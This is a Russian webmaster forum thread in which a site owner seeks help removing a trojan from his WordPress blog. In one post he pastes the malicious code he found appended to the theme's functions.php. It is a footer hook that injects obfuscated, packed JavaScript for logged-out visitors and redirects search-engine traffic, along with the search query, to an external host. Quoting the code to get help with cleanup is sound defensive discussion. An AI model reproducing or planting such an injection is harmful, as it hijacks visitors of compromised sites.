Помогите найти троян на сайте

12
akill
На сайте с 04.04.2011
Offline
105
2467

На моем сайте symbian-blog.com какой-то троян. Помогите пожалуйста найти и обезвредить.

22Striker22
На сайте с 13.04.2008
Offline
143
#1

ai-bolit - неплохая софтина. Попробуй.

TrueMediaPartner.com (https://truemediapartner.com/signup.php?id=4884). Download ПП + CPA. Более 10.000 офферов и никакого холда. Выплаты в баксах!
akill
На сайте с 04.04.2011
Offline
105
#2

22Striker22, что-то не могу найти. Можно прямую ссыль?

siv1987
На сайте с 02.04.2009
Offline
427
#3

Смысл создавать по теме для каждого трояна на вашем сайте? /ru/forum/698910

akill
На сайте с 04.04.2011
Offline
105
#4

siv1987, в тот раз проблема была в .htacesse. Сейчас что-то другое.

WebGomel
На сайте с 29.10.2011
Offline
78
#5
akill:
На моем сайте symbian-blog.com какой-то троян. Помогите пожалуйста найти и обезвредить.

Вам в прошлый раз советовали поискать шеллы, но как видим всё глухо. Не можете сами, может стоит заплатить?

На этот раз скорее всего у вас function.php темы с дописанным внизу кодом, через неделю ещё что нибудь будет, вам не надоело?😂

ЗЫ: нужно не трояна искать, а с причиной бороться

Удалённый системный администратор ( https://remadmin.com )
akill
На сайте с 04.04.2011
Offline
105
#6

WebGomel, не подскажите такого эксперта?

в самом конце файла function.php нашел это:


<?php
add_action('get_footer', 'add_sscounter');
function add_sscounter(){
echo '<!--scounter-->';
if(function_exists('is_user_logged_in')){
if(time()%2 == 0 && !is_user_logged_in()){
echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>";
}
}
}
?>
WebGomel
На сайте с 29.10.2011
Offline
78
#7

Я это и имел ввиду. Но само ведь оно туда не попало, понимаете?

не подскажите такого эксперта?

Завтра свяжитесь со мной - помогу. Телефон есть у нас на сайте, (мой второй в шапке), или там же есть аська и почта.

akill
На сайте с 04.04.2011
Offline
105
#8

Вторая проблема: не могу зайти на сайт. В админку пускает, а на сам сайт - нет.

Пишет

Веб-страница недоступна

Подключение к symbian-blog.com прервано.

В опере и хроме.

Может аваст блочит?

WebGomel
На сайте с 29.10.2011
Offline
78
#9
akill:

Может аваст блочит?

Ну попробуйте отключить его. Я нормально захожу и не только я

artemacox
На сайте с 18.01.2010
Offline
89
#10

dr.web онлайн проверка сайта - кажет есть ли вирусы если есть кажет и файл зараженный

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий